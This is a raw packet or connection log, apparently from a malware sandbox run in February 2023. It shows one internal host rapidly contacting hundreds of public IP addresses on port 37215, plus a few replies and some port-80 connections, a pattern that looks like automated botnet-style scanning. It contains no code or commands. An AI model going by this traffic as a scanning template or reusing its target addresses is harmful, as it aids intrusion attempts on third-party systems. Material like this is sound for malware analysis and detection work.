Feb 12, 2023 21:25:07.390335083 CET	52981	37215	192.168.2.23	41.74.245.208
Feb 12, 2023 21:25:07.390347958 CET	52981	37215	192.168.2.23	157.40.85.170
Feb 12, 2023 21:25:07.390361071 CET	52981	37215	192.168.2.23	41.64.95.140
Feb 12, 2023 21:25:07.390381098 CET	52981	37215	192.168.2.23	105.12.31.213
Feb 12, 2023 21:25:07.390389919 CET	52981	37215	192.168.2.23	180.145.33.157
Feb 12, 2023 21:25:07.390403032 CET	52981	37215	192.168.2.23	197.141.135.209
Feb 12, 2023 21:25:07.390429974 CET	52981	37215	192.168.2.23	41.185.254.159
Feb 12, 2023 21:25:07.390434980 CET	52981	37215	192.168.2.23	41.209.11.77
Feb 12, 2023 21:25:07.390460968 CET	52981	37215	192.168.2.23	41.168.28.37
Feb 12, 2023 21:25:07.390489101 CET	52981	37215	192.168.2.23	4.58.90.200
Feb 12, 2023 21:25:07.390510082 CET	52981	37215	192.168.2.23	41.58.160.59
Feb 12, 2023 21:25:07.390525103 CET	52981	37215	192.168.2.23	157.43.156.128
Feb 12, 2023 21:25:07.390541077 CET	52981	37215	192.168.2.23	200.108.211.236
Feb 12, 2023 21:25:07.390564919 CET	52981	37215	192.168.2.23	41.50.200.78
Feb 12, 2023 21:25:07.390571117 CET	52981	37215	192.168.2.23	157.250.191.138
Feb 12, 2023 21:25:07.390577078 CET	52981	37215	192.168.2.23	157.225.208.30
Feb 12, 2023 21:25:07.390603065 CET	52981	37215	192.168.2.23	91.136.68.71
Feb 12, 2023 21:25:07.390607119 CET	52981	37215	192.168.2.23	41.22.53.227
Feb 12, 2023 21:25:07.390630007 CET	52981	37215	192.168.2.23	93.147.187.119
Feb 12, 2023 21:25:07.390644073 CET	52981	37215	192.168.2.23	197.73.97.105
Feb 12, 2023 21:25:07.390669107 CET	52981	37215	192.168.2.23	59.166.18.105
Feb 12, 2023 21:25:07.390683889 CET	52981	37215	192.168.2.23	41.98.123.225
Feb 12, 2023 21:25:07.390707970 CET	52981	37215	192.168.2.23	157.160.117.74
Feb 12, 2023 21:25:07.390727997 CET	52981	37215	192.168.2.23	41.156.98.49
Feb 12, 2023 21:25:07.390774012 CET	52981	37215	192.168.2.23	157.221.129.103
Feb 12, 2023 21:25:07.390789986 CET	52981	37215	192.168.2.23	70.204.177.65
Feb 12, 2023 21:25:07.390803099 CET	52981	37215	192.168.2.23	157.8.28.152
Feb 12, 2023 21:25:07.390829086 CET	52981	37215	192.168.2.23	197.107.19.177
Feb 12, 2023 21:25:07.390846968 CET	52981	37215	192.168.2.23	20.83.127.98
Feb 12, 2023 21:25:07.390858889 CET	52981	37215	192.168.2.23	157.136.26.108
Feb 12, 2023 21:25:07.390872002 CET	52981	37215	192.168.2.23	197.146.200.103
Feb 12, 2023 21:25:07.390911102 CET	52981	37215	192.168.2.23	87.221.13.252
Feb 12, 2023 21:25:07.390913963 CET	52981	37215	192.168.2.23	157.68.83.180
Feb 12, 2023 21:25:07.390916109 CET	52981	37215	192.168.2.23	197.24.20.144
Feb 12, 2023 21:25:07.390923023 CET	52981	37215	192.168.2.23	41.116.102.90
Feb 12, 2023 21:25:07.390942097 CET	52981	37215	192.168.2.23	197.133.185.195
Feb 12, 2023 21:25:07.390955925 CET	52981	37215	192.168.2.23	41.68.128.115
Feb 12, 2023 21:25:07.390980005 CET	52981	37215	192.168.2.23	41.227.72.110
Feb 12, 2023 21:25:07.390984058 CET	52981	37215	192.168.2.23	41.221.23.197
Feb 12, 2023 21:25:07.391000986 CET	52981	37215	192.168.2.23	157.162.48.149
Feb 12, 2023 21:25:07.391026020 CET	52981	37215	192.168.2.23	157.92.244.234
Feb 12, 2023 21:25:07.391053915 CET	52981	37215	192.168.2.23	197.115.16.213
Feb 12, 2023 21:25:07.391066074 CET	52981	37215	192.168.2.23	46.208.56.219
Feb 12, 2023 21:25:07.391082048 CET	52981	37215	192.168.2.23	41.131.208.41
Feb 12, 2023 21:25:07.391093016 CET	52981	37215	192.168.2.23	96.99.149.163
Feb 12, 2023 21:25:07.391127110 CET	52981	37215	192.168.2.23	220.178.117.15
Feb 12, 2023 21:25:07.391129017 CET	52981	37215	192.168.2.23	133.216.141.127
Feb 12, 2023 21:25:07.391149044 CET	52981	37215	192.168.2.23	197.208.59.104
Feb 12, 2023 21:25:07.391158104 CET	52981	37215	192.168.2.23	197.231.214.224
Feb 12, 2023 21:25:07.391186953 CET	52981	37215	192.168.2.23	157.161.38.70
Feb 12, 2023 21:25:07.391205072 CET	52981	37215	192.168.2.23	197.102.166.207
Feb 12, 2023 21:25:07.391216040 CET	52981	37215	192.168.2.23	31.178.54.136
Feb 12, 2023 21:25:07.391227007 CET	52981	37215	192.168.2.23	197.175.144.229
Feb 12, 2023 21:25:07.391247034 CET	52981	37215	192.168.2.23	157.211.20.123
Feb 12, 2023 21:25:07.391274929 CET	52981	37215	192.168.2.23	47.164.253.130
Feb 12, 2023 21:25:07.391283989 CET	52981	37215	192.168.2.23	41.139.154.161
Feb 12, 2023 21:25:07.391303062 CET	52981	37215	192.168.2.23	41.10.102.160
Feb 12, 2023 21:25:07.391321898 CET	52981	37215	192.168.2.23	58.22.1.255
Feb 12, 2023 21:25:07.391338110 CET	52981	37215	192.168.2.23	157.123.139.169
Feb 12, 2023 21:25:07.391359091 CET	52981	37215	192.168.2.23	198.247.68.77
Feb 12, 2023 21:25:07.391360998 CET	52981	37215	192.168.2.23	197.56.69.144
Feb 12, 2023 21:25:07.391388893 CET	52981	37215	192.168.2.23	189.159.209.89
Feb 12, 2023 21:25:07.391398907 CET	52981	37215	192.168.2.23	157.205.198.180
Feb 12, 2023 21:25:07.391407967 CET	52981	37215	192.168.2.23	41.204.85.164
Feb 12, 2023 21:25:07.391419888 CET	52981	37215	192.168.2.23	20.24.167.126
Feb 12, 2023 21:25:07.391446114 CET	52981	37215	192.168.2.23	41.104.105.120
Feb 12, 2023 21:25:07.391469955 CET	52981	37215	192.168.2.23	157.61.156.191
Feb 12, 2023 21:25:07.391516924 CET	52981	37215	192.168.2.23	197.154.37.206
Feb 12, 2023 21:25:07.391520023 CET	52981	37215	192.168.2.23	83.236.148.94
Feb 12, 2023 21:25:07.391522884 CET	52981	37215	192.168.2.23	197.190.75.48
Feb 12, 2023 21:25:07.391525030 CET	52981	37215	192.168.2.23	157.174.38.185
Feb 12, 2023 21:25:07.391534090 CET	52981	37215	192.168.2.23	156.148.213.118
Feb 12, 2023 21:25:07.391556978 CET	52981	37215	192.168.2.23	197.102.178.207
Feb 12, 2023 21:25:07.391558886 CET	52981	37215	192.168.2.23	41.40.248.89
Feb 12, 2023 21:25:07.391558886 CET	52981	37215	192.168.2.23	157.91.234.6
Feb 12, 2023 21:25:07.391563892 CET	52981	37215	192.168.2.23	197.109.143.140
Feb 12, 2023 21:25:07.391562939 CET	52981	37215	192.168.2.23	157.133.220.22
Feb 12, 2023 21:25:07.391585112 CET	52981	37215	192.168.2.23	197.174.173.89
Feb 12, 2023 21:25:07.391597986 CET	52981	37215	192.168.2.23	157.59.148.92
Feb 12, 2023 21:25:07.391623020 CET	52981	37215	192.168.2.23	197.192.223.238
Feb 12, 2023 21:25:07.391623020 CET	52981	37215	192.168.2.23	74.235.40.179
Feb 12, 2023 21:25:07.391625881 CET	52981	37215	192.168.2.23	41.116.169.46
Feb 12, 2023 21:25:07.391648054 CET	52981	37215	192.168.2.23	197.90.47.100
Feb 12, 2023 21:25:07.391669989 CET	52981	37215	192.168.2.23	41.102.245.176
Feb 12, 2023 21:25:07.391674995 CET	52981	37215	192.168.2.23	106.77.42.123
Feb 12, 2023 21:25:07.391685009 CET	52981	37215	192.168.2.23	210.116.19.110
Feb 12, 2023 21:25:07.391720057 CET	52981	37215	192.168.2.23	157.218.210.213
Feb 12, 2023 21:25:07.391730070 CET	52981	37215	192.168.2.23	197.105.134.15
Feb 12, 2023 21:25:07.391746998 CET	52981	37215	192.168.2.23	41.139.175.160
Feb 12, 2023 21:25:07.391768932 CET	52981	37215	192.168.2.23	41.254.62.6
Feb 12, 2023 21:25:07.391781092 CET	52981	37215	192.168.2.23	41.70.37.114
Feb 12, 2023 21:25:07.391805887 CET	52981	37215	192.168.2.23	157.23.201.227
Feb 12, 2023 21:25:07.391809940 CET	52981	37215	192.168.2.23	83.106.107.240
Feb 12, 2023 21:25:07.391824961 CET	52981	37215	192.168.2.23	197.116.133.97
Feb 12, 2023 21:25:07.391838074 CET	52981	37215	192.168.2.23	197.254.120.228
Feb 12, 2023 21:25:07.391866922 CET	52981	37215	192.168.2.23	157.26.55.77
Feb 12, 2023 21:25:07.391866922 CET	52981	37215	192.168.2.23	41.21.210.126
Feb 12, 2023 21:25:07.391897917 CET	52981	37215	192.168.2.23	41.198.27.5
Feb 12, 2023 21:25:07.391915083 CET	52981	37215	192.168.2.23	175.113.156.25
Feb 12, 2023 21:25:07.391948938 CET	52981	37215	192.168.2.23	117.27.6.34
Feb 12, 2023 21:25:07.391948938 CET	52981	37215	192.168.2.23	157.242.129.200
Feb 12, 2023 21:25:07.391968012 CET	52981	37215	192.168.2.23	158.170.199.62
Feb 12, 2023 21:25:07.391993046 CET	52981	37215	192.168.2.23	41.177.230.223
Feb 12, 2023 21:25:07.392013073 CET	52981	37215	192.168.2.23	41.64.44.31
Feb 12, 2023 21:25:07.392019987 CET	52981	37215	192.168.2.23	157.171.6.155
Feb 12, 2023 21:25:07.392051935 CET	52981	37215	192.168.2.23	41.89.42.162
Feb 12, 2023 21:25:07.392062902 CET	52981	37215	192.168.2.23	41.155.242.102
Feb 12, 2023 21:25:07.392100096 CET	52981	37215	192.168.2.23	41.104.205.155
Feb 12, 2023 21:25:07.392100096 CET	52981	37215	192.168.2.23	158.144.24.179
Feb 12, 2023 21:25:07.392112017 CET	52981	37215	192.168.2.23	197.231.232.55
Feb 12, 2023 21:25:07.392124891 CET	52981	37215	192.168.2.23	157.66.66.214
Feb 12, 2023 21:25:07.392138958 CET	52981	37215	192.168.2.23	41.75.121.39
Feb 12, 2023 21:25:07.392148972 CET	52981	37215	192.168.2.23	61.25.28.154
Feb 12, 2023 21:25:07.392179012 CET	52981	37215	192.168.2.23	67.184.28.6
Feb 12, 2023 21:25:07.392182112 CET	52981	37215	192.168.2.23	86.185.47.254
Feb 12, 2023 21:25:07.392201900 CET	52981	37215	192.168.2.23	197.215.159.67
Feb 12, 2023 21:25:07.392226934 CET	52981	37215	192.168.2.23	176.254.252.10
Feb 12, 2023 21:25:07.392256975 CET	52981	37215	192.168.2.23	157.183.217.66
Feb 12, 2023 21:25:07.392256975 CET	52981	37215	192.168.2.23	157.94.60.224
Feb 12, 2023 21:25:07.392266035 CET	52981	37215	192.168.2.23	157.243.252.47
Feb 12, 2023 21:25:07.392290115 CET	52981	37215	192.168.2.23	41.165.170.238
Feb 12, 2023 21:25:07.392304897 CET	52981	37215	192.168.2.23	157.21.108.142
Feb 12, 2023 21:25:07.392324924 CET	52981	37215	192.168.2.23	157.131.60.230
Feb 12, 2023 21:25:07.392340899 CET	52981	37215	192.168.2.23	157.232.168.121
Feb 12, 2023 21:25:07.392354012 CET	52981	37215	192.168.2.23	197.172.169.86
Feb 12, 2023 21:25:07.392385006 CET	52981	37215	192.168.2.23	157.152.135.1
Feb 12, 2023 21:25:07.392389059 CET	52981	37215	192.168.2.23	197.191.251.152
Feb 12, 2023 21:25:07.392412901 CET	52981	37215	192.168.2.23	197.16.143.189
Feb 12, 2023 21:25:07.392443895 CET	52981	37215	192.168.2.23	197.36.140.244
Feb 12, 2023 21:25:07.392445087 CET	52981	37215	192.168.2.23	41.98.135.124
Feb 12, 2023 21:25:07.392471075 CET	52981	37215	192.168.2.23	157.220.37.214
Feb 12, 2023 21:25:07.392488956 CET	52981	37215	192.168.2.23	157.59.46.245
Feb 12, 2023 21:25:07.392509937 CET	52981	37215	192.168.2.23	157.245.186.231
Feb 12, 2023 21:25:07.392514944 CET	52981	37215	192.168.2.23	76.18.179.124
Feb 12, 2023 21:25:07.392535925 CET	52981	37215	192.168.2.23	41.29.117.81
Feb 12, 2023 21:25:07.392551899 CET	52981	37215	192.168.2.23	41.177.37.91
Feb 12, 2023 21:25:07.392575026 CET	52981	37215	192.168.2.23	41.88.164.124
Feb 12, 2023 21:25:07.392600060 CET	52981	37215	192.168.2.23	157.136.85.30
Feb 12, 2023 21:25:07.392621994 CET	52981	37215	192.168.2.23	173.207.53.31
Feb 12, 2023 21:25:07.392625093 CET	52981	37215	192.168.2.23	41.183.159.222
Feb 12, 2023 21:25:07.392663956 CET	52981	37215	192.168.2.23	92.43.252.23
Feb 12, 2023 21:25:07.392663956 CET	52981	37215	192.168.2.23	197.69.74.46
Feb 12, 2023 21:25:07.392715931 CET	52981	37215	192.168.2.23	157.212.130.137
Feb 12, 2023 21:25:07.392715931 CET	52981	37215	192.168.2.23	41.176.65.190
Feb 12, 2023 21:25:07.392735958 CET	52981	37215	192.168.2.23	175.24.246.167
Feb 12, 2023 21:25:07.392740965 CET	52981	37215	192.168.2.23	157.161.15.216
Feb 12, 2023 21:25:07.392748117 CET	52981	37215	192.168.2.23	197.217.2.156
Feb 12, 2023 21:25:07.392793894 CET	52981	37215	192.168.2.23	157.29.152.114
Feb 12, 2023 21:25:07.392806053 CET	52981	37215	192.168.2.23	41.21.163.68
Feb 12, 2023 21:25:07.392807007 CET	52981	37215	192.168.2.23	189.18.41.130
Feb 12, 2023 21:25:07.392818928 CET	52981	37215	192.168.2.23	197.1.50.195
Feb 12, 2023 21:25:07.392837048 CET	52981	37215	192.168.2.23	41.200.200.218
Feb 12, 2023 21:25:07.392852068 CET	52981	37215	192.168.2.23	197.133.81.11
Feb 12, 2023 21:25:07.392882109 CET	52981	37215	192.168.2.23	51.168.243.74
Feb 12, 2023 21:25:07.392896891 CET	52981	37215	192.168.2.23	157.138.241.102
Feb 12, 2023 21:25:07.392925024 CET	52981	37215	192.168.2.23	157.93.246.206
Feb 12, 2023 21:25:07.392940044 CET	52981	37215	192.168.2.23	41.156.197.171
Feb 12, 2023 21:25:07.392977953 CET	52981	37215	192.168.2.23	41.237.159.243
Feb 12, 2023 21:25:07.392987013 CET	52981	37215	192.168.2.23	157.37.197.141
Feb 12, 2023 21:25:07.392997026 CET	52981	37215	192.168.2.23	41.140.46.234
Feb 12, 2023 21:25:07.393019915 CET	52981	37215	192.168.2.23	41.173.28.54
Feb 12, 2023 21:25:07.393034935 CET	52981	37215	192.168.2.23	130.251.174.241
Feb 12, 2023 21:25:07.393049002 CET	52981	37215	192.168.2.23	157.234.37.36
Feb 12, 2023 21:25:07.393050909 CET	52981	37215	192.168.2.23	197.247.213.126
Feb 12, 2023 21:25:07.393071890 CET	52981	37215	192.168.2.23	79.76.118.102
Feb 12, 2023 21:25:07.393086910 CET	52981	37215	192.168.2.23	57.72.204.220
Feb 12, 2023 21:25:07.393107891 CET	52981	37215	192.168.2.23	41.53.100.32
Feb 12, 2023 21:25:07.393126965 CET	52981	37215	192.168.2.23	41.189.41.193
Feb 12, 2023 21:25:07.393140078 CET	52981	37215	192.168.2.23	197.180.232.98
Feb 12, 2023 21:25:07.393166065 CET	52981	37215	192.168.2.23	41.87.143.117
Feb 12, 2023 21:25:07.393187046 CET	52981	37215	192.168.2.23	41.51.212.146
Feb 12, 2023 21:25:07.393203974 CET	52981	37215	192.168.2.23	41.235.80.92
Feb 12, 2023 21:25:07.393218040 CET	52981	37215	192.168.2.23	197.252.251.249
Feb 12, 2023 21:25:07.393249035 CET	52981	37215	192.168.2.23	41.56.157.1
Feb 12, 2023 21:25:07.393274069 CET	52981	37215	192.168.2.23	157.243.230.15
Feb 12, 2023 21:25:07.393280983 CET	52981	37215	192.168.2.23	157.84.235.245
Feb 12, 2023 21:25:07.393299103 CET	52981	37215	192.168.2.23	157.103.194.173
Feb 12, 2023 21:25:07.393315077 CET	52981	37215	192.168.2.23	223.249.157.232
Feb 12, 2023 21:25:07.393338919 CET	52981	37215	192.168.2.23	41.162.41.254
Feb 12, 2023 21:25:07.393348932 CET	52981	37215	192.168.2.23	157.97.186.46
Feb 12, 2023 21:25:07.393357038 CET	52981	37215	192.168.2.23	39.154.216.107
Feb 12, 2023 21:25:07.393377066 CET	52981	37215	192.168.2.23	41.52.94.105
Feb 12, 2023 21:25:07.393379927 CET	52981	37215	192.168.2.23	157.144.5.67
Feb 12, 2023 21:25:07.393399000 CET	52981	37215	192.168.2.23	157.209.56.76
Feb 12, 2023 21:25:07.393431902 CET	52981	37215	192.168.2.23	41.92.41.50
Feb 12, 2023 21:25:07.393443108 CET	52981	37215	192.168.2.23	157.208.45.175
Feb 12, 2023 21:25:07.393471003 CET	52981	37215	192.168.2.23	197.31.185.170
Feb 12, 2023 21:25:07.393476963 CET	52981	37215	192.168.2.23	172.177.63.4
Feb 12, 2023 21:25:07.393495083 CET	52981	37215	192.168.2.23	187.71.96.110
Feb 12, 2023 21:25:07.393522024 CET	52981	37215	192.168.2.23	197.182.203.98
Feb 12, 2023 21:25:07.393526077 CET	52981	37215	192.168.2.23	197.94.184.203
Feb 12, 2023 21:25:07.393534899 CET	52981	37215	192.168.2.23	66.128.73.178
Feb 12, 2023 21:25:07.393559933 CET	52981	37215	192.168.2.23	197.52.241.194
Feb 12, 2023 21:25:07.393583059 CET	52981	37215	192.168.2.23	129.131.155.213
Feb 12, 2023 21:25:07.393589020 CET	52981	37215	192.168.2.23	41.42.146.234
Feb 12, 2023 21:25:07.393616915 CET	52981	37215	192.168.2.23	136.62.89.213
Feb 12, 2023 21:25:07.393640995 CET	52981	37215	192.168.2.23	197.246.120.141
Feb 12, 2023 21:25:07.393670082 CET	52981	37215	192.168.2.23	41.81.237.149
Feb 12, 2023 21:25:07.393670082 CET	52981	37215	192.168.2.23	175.36.166.17
Feb 12, 2023 21:25:07.393686056 CET	52981	37215	192.168.2.23	41.50.8.166
Feb 12, 2023 21:25:07.393697023 CET	52981	37215	192.168.2.23	197.27.212.237
Feb 12, 2023 21:25:07.393719912 CET	52981	37215	192.168.2.23	66.199.223.168
Feb 12, 2023 21:25:07.393743038 CET	52981	37215	192.168.2.23	41.176.57.14
Feb 12, 2023 21:25:07.393755913 CET	52981	37215	192.168.2.23	157.129.173.252
Feb 12, 2023 21:25:07.393788099 CET	52981	37215	192.168.2.23	41.244.116.134
Feb 12, 2023 21:25:07.393827915 CET	52981	37215	192.168.2.23	52.222.25.221
Feb 12, 2023 21:25:07.393829107 CET	52981	37215	192.168.2.23	197.85.91.105
Feb 12, 2023 21:25:07.393852949 CET	52981	37215	192.168.2.23	173.32.132.158
Feb 12, 2023 21:25:07.393860102 CET	52981	37215	192.168.2.23	41.73.212.150
Feb 12, 2023 21:25:07.393879890 CET	52981	37215	192.168.2.23	41.161.37.131
Feb 12, 2023 21:25:07.393897057 CET	52981	37215	192.168.2.23	107.65.155.245
Feb 12, 2023 21:25:07.393909931 CET	52981	37215	192.168.2.23	41.54.40.2
Feb 12, 2023 21:25:07.393934965 CET	52981	37215	192.168.2.23	41.48.132.87
Feb 12, 2023 21:25:07.393964052 CET	52981	37215	192.168.2.23	41.41.140.61
Feb 12, 2023 21:25:07.393965960 CET	52981	37215	192.168.2.23	157.90.173.253
Feb 12, 2023 21:25:07.393987894 CET	52981	37215	192.168.2.23	197.89.15.170
Feb 12, 2023 21:25:07.394005060 CET	52981	37215	192.168.2.23	41.85.42.64
Feb 12, 2023 21:25:07.394026041 CET	52981	37215	192.168.2.23	89.146.196.112
Feb 12, 2023 21:25:07.394043922 CET	52981	37215	192.168.2.23	72.147.101.0
Feb 12, 2023 21:25:07.394053936 CET	52981	37215	192.168.2.23	114.144.144.252
Feb 12, 2023 21:25:07.394083023 CET	52981	37215	192.168.2.23	41.234.173.114
Feb 12, 2023 21:25:07.394089937 CET	52981	37215	192.168.2.23	197.124.245.203
Feb 12, 2023 21:25:07.406884909 CET	37202	37215	192.168.2.23	213.151.56.95
Feb 12, 2023 21:25:07.418210983 CET	37215	52981	157.90.173.253	192.168.2.23
Feb 12, 2023 21:25:07.438874960 CET	36534	37215	192.168.2.23	197.194.138.33
Feb 12, 2023 21:25:07.470835924 CET	56438	80	192.168.2.23	49.48.55.46
Feb 12, 2023 21:25:07.479087114 CET	37215	37202	213.151.56.95	192.168.2.23
Feb 12, 2023 21:25:07.479326010 CET	37202	37215	192.168.2.23	213.151.56.95
Feb 12, 2023 21:25:07.479336977 CET	52981	37215	192.168.2.23	197.155.245.178
Feb 12, 2023 21:25:07.479371071 CET	52981	37215	192.168.2.23	157.112.27.242
Feb 12, 2023 21:25:07.479382992 CET	52981	37215	192.168.2.23	96.125.248.230
Feb 12, 2023 21:25:07.479382992 CET	52981	37215	192.168.2.23	157.210.199.64
Feb 12, 2023 21:25:07.479410887 CET	52981	37215	192.168.2.23	41.90.243.197
Feb 12, 2023 21:25:07.479429960 CET	52981	37215	192.168.2.23	103.32.86.137
Feb 12, 2023 21:25:07.479433060 CET	52981	37215	192.168.2.23	41.9.165.131
Feb 12, 2023 21:25:07.479430914 CET	52981	37215	192.168.2.23	41.28.132.227
Feb 12, 2023 21:25:07.479464054 CET	52981	37215	192.168.2.23	157.179.57.45
Feb 12, 2023 21:25:07.479464054 CET	52981	37215	192.168.2.23	41.167.147.49
Feb 12, 2023 21:25:07.479464054 CET	52981	37215	192.168.2.23	221.40.242.10
Feb 12, 2023 21:25:07.479480982 CET	52981	37215	192.168.2.23	197.250.102.136
Feb 12, 2023 21:25:07.479484081 CET	52981	37215	192.168.2.23	197.62.14.47
Feb 12, 2023 21:25:07.479521036 CET	52981	37215	192.168.2.23	23.158.224.55
Feb 12, 2023 21:25:07.479535103 CET	52981	37215	192.168.2.23	157.102.37.115
Feb 12, 2023 21:25:07.479535103 CET	52981	37215	192.168.2.23	41.232.242.116
Feb 12, 2023 21:25:07.479553938 CET	52981	37215	192.168.2.23	204.178.6.193
Feb 12, 2023 21:25:07.479572058 CET	52981	37215	192.168.2.23	157.69.182.230
Feb 12, 2023 21:25:07.479587078 CET	52981	37215	192.168.2.23	157.5.178.22
Feb 12, 2023 21:25:07.479619980 CET	52981	37215	192.168.2.23	41.79.74.128
Feb 12, 2023 21:25:07.479620934 CET	52981	37215	192.168.2.23	41.51.86.206
Feb 12, 2023 21:25:07.479648113 CET	52981	37215	192.168.2.23	157.2.66.145
Feb 12, 2023 21:25:07.479671001 CET	52981	37215	192.168.2.23	157.4.45.193
Feb 12, 2023 21:25:07.479674101 CET	52981	37215	192.168.2.23	197.217.120.152
Feb 12, 2023 21:25:07.479675055 CET	52981	37215	192.168.2.23	222.141.11.211
Feb 12, 2023 21:25:07.479687929 CET	52981	37215	192.168.2.23	157.213.233.167
Feb 12, 2023 21:25:07.479717970 CET	52981	37215	192.168.2.23	41.243.215.103
Feb 12, 2023 21:25:07.479720116 CET	52981	37215	192.168.2.23	157.146.136.192
Feb 12, 2023 21:25:07.479732990 CET	52981	37215	192.168.2.23	191.81.19.24
Feb 12, 2023 21:25:07.479737043 CET	52981	37215	192.168.2.23	157.199.73.44
Feb 12, 2023 21:25:07.479743004 CET	52981	37215	192.168.2.23	197.17.177.85
Feb 12, 2023 21:25:07.479759932 CET	52981	37215	192.168.2.23	41.130.189.66
Feb 12, 2023 21:25:07.479768038 CET	52981	37215	192.168.2.23	157.72.78.107
Feb 12, 2023 21:25:07.479789019 CET	52981	37215	192.168.2.23	197.46.50.20
Feb 12, 2023 21:25:07.479798079 CET	52981	37215	192.168.2.23	92.67.252.187
Feb 12, 2023 21:25:07.479805946 CET	52981	37215	192.168.2.23	90.9.179.56
Feb 12, 2023 21:25:07.479835987 CET	52981	37215	192.168.2.23	123.66.91.254
Feb 12, 2023 21:25:07.479837894 CET	52981	37215	192.168.2.23	197.25.4.105
Feb 12, 2023 21:25:07.479850054 CET	52981	37215	192.168.2.23	41.50.96.147
Feb 12, 2023 21:25:07.479856968 CET	52981	37215	192.168.2.23	86.90.119.54
Feb 12, 2023 21:25:07.479870081 CET	52981	37215	192.168.2.23	157.105.112.81
Feb 12, 2023 21:25:07.479883909 CET	52981	37215	192.168.2.23	197.112.137.242
Feb 12, 2023 21:25:07.479921103 CET	52981	37215	192.168.2.23	118.62.52.144
Feb 12, 2023 21:25:07.479928970 CET	52981	37215	192.168.2.23	41.128.4.20
Feb 12, 2023 21:25:07.479947090 CET	52981	37215	192.168.2.23	197.82.92.70
Feb 12, 2023 21:25:07.479948997 CET	52981	37215	192.168.2.23	197.136.90.90
Feb 12, 2023 21:25:07.479968071 CET	52981	37215	192.168.2.23	41.91.61.0
Feb 12, 2023 21:25:07.479970932 CET	52981	37215	192.168.2.23	41.68.180.91
Feb 12, 2023 21:25:07.479990959 CET	52981	37215	192.168.2.23	157.147.138.144
Feb 12, 2023 21:25:07.479995012 CET	52981	37215	192.168.2.23	207.131.102.123
Feb 12, 2023 21:25:07.480029106 CET	52981	37215	192.168.2.23	131.42.130.234
Feb 12, 2023 21:25:07.480029106 CET	52981	37215	192.168.2.23	41.124.194.6
Feb 12, 2023 21:25:07.480038881 CET	52981	37215	192.168.2.23	157.233.250.112
Feb 12, 2023 21:25:07.480048895 CET	52981	37215	192.168.2.23	175.215.199.19
Feb 12, 2023 21:25:07.480062962 CET	52981	37215	192.168.2.23	157.228.95.190
Feb 12, 2023 21:25:07.480086088 CET	52981	37215	192.168.2.23	157.74.57.212
Feb 12, 2023 21:25:07.480086088 CET	52981	37215	192.168.2.23	5.79.231.251
Feb 12, 2023 21:25:07.480101109 CET	52981	37215	192.168.2.23	41.117.154.102
Feb 12, 2023 21:25:07.480129957 CET	52981	37215	192.168.2.23	157.190.99.180
Feb 12, 2023 21:25:07.480132103 CET	52981	37215	192.168.2.23	41.2.22.24
Feb 12, 2023 21:25:07.480154037 CET	52981	37215	192.168.2.23	157.247.51.23
Feb 12, 2023 21:25:07.480169058 CET	52981	37215	192.168.2.23	157.86.1.58
Feb 12, 2023 21:25:07.480181932 CET	52981	37215	192.168.2.23	41.251.161.123
Feb 12, 2023 21:25:07.480200052 CET	52981	37215	192.168.2.23	157.31.22.12
Feb 12, 2023 21:25:07.480217934 CET	52981	37215	192.168.2.23	197.70.84.252
Feb 12, 2023 21:25:07.480228901 CET	52981	37215	192.168.2.23	41.96.157.25
Feb 12, 2023 21:25:07.480253935 CET	52981	37215	192.168.2.23	41.130.229.183
Feb 12, 2023 21:25:07.480253935 CET	52981	37215	192.168.2.23	157.161.220.237
Feb 12, 2023 21:25:07.480262041 CET	52981	37215	192.168.2.23	88.148.230.85
Feb 12, 2023 21:25:07.480271101 CET	52981	37215	192.168.2.23	41.221.28.48
Feb 12, 2023 21:25:07.480279922 CET	52981	37215	192.168.2.23	197.144.232.183
Feb 12, 2023 21:25:07.480283022 CET	52981	37215	192.168.2.23	157.83.251.82
Feb 12, 2023 21:25:07.480314970 CET	52981	37215	192.168.2.23	99.120.13.87
Feb 12, 2023 21:25:07.480350018 CET	52981	37215	192.168.2.23	41.45.189.49
Feb 12, 2023 21:25:07.480360031 CET	52981	37215	192.168.2.23	18.40.239.141
Feb 12, 2023 21:25:07.480371952 CET	52981	37215	192.168.2.23	197.75.240.2
Feb 12, 2023 21:25:07.480387926 CET	52981	37215	192.168.2.23	197.253.145.235
Feb 12, 2023 21:25:07.480412960 CET	52981	37215	192.168.2.23	157.255.79.201
Feb 12, 2023 21:25:07.480415106 CET	52981	37215	192.168.2.23	155.53.181.36
Feb 12, 2023 21:25:07.480432987 CET	52981	37215	192.168.2.23	38.40.108.175
Feb 12, 2023 21:25:07.480442047 CET	52981	37215	192.168.2.23	41.168.204.158
Feb 12, 2023 21:25:07.480460882 CET	52981	37215	192.168.2.23	41.120.52.23
Feb 12, 2023 21:25:07.480469942 CET	52981	37215	192.168.2.23	157.254.84.9
Feb 12, 2023 21:25:07.480478048 CET	52981	37215	192.168.2.23	157.23.53.21
Feb 12, 2023 21:25:07.480453968 CET	52981	37215	192.168.2.23	197.205.33.165
Feb 12, 2023 21:25:07.480482101 CET	52981	37215	192.168.2.23	157.211.100.115
Feb 12, 2023 21:25:07.480498075 CET	52981	37215	192.168.2.23	14.82.218.234
Feb 12, 2023 21:25:07.480482101 CET	52981	37215	192.168.2.23	157.159.163.139
Feb 12, 2023 21:25:07.480530977 CET	52981	37215	192.168.2.23	157.97.64.87
Feb 12, 2023 21:25:07.480531931 CET	52981	37215	192.168.2.23	197.155.82.123
Feb 12, 2023 21:25:07.480540037 CET	52981	37215	192.168.2.23	157.154.241.110
Feb 12, 2023 21:25:07.480556965 CET	52981	37215	192.168.2.23	65.246.236.26
Feb 12, 2023 21:25:07.480566025 CET	52981	37215	192.168.2.23	36.102.159.120
Feb 12, 2023 21:25:07.480566025 CET	52981	37215	192.168.2.23	41.212.19.120
Feb 12, 2023 21:25:07.480571032 CET	52981	37215	192.168.2.23	41.168.61.232
Feb 12, 2023 21:25:07.480598927 CET	52981	37215	192.168.2.23	157.88.95.192
Feb 12, 2023 21:25:07.480602980 CET	52981	37215	192.168.2.23	197.129.142.233
Feb 12, 2023 21:25:07.480613947 CET	52981	37215	192.168.2.23	197.48.188.92
Feb 12, 2023 21:25:07.480647087 CET	52981	37215	192.168.2.23	197.101.77.115
Feb 12, 2023 21:25:07.480649948 CET	52981	37215	192.168.2.23	41.152.194.86
Feb 12, 2023 21:25:07.480659008 CET	52981	37215	192.168.2.23	1.49.147.30
Feb 12, 2023 21:25:07.480690002 CET	52981	37215	192.168.2.23	41.54.176.49
Feb 12, 2023 21:25:07.480690956 CET	52981	37215	192.168.2.23	118.151.27.191
Feb 12, 2023 21:25:07.480690002 CET	52981	37215	192.168.2.23	173.176.176.78
Feb 12, 2023 21:25:07.480690002 CET	52981	37215	192.168.2.23	41.30.246.179
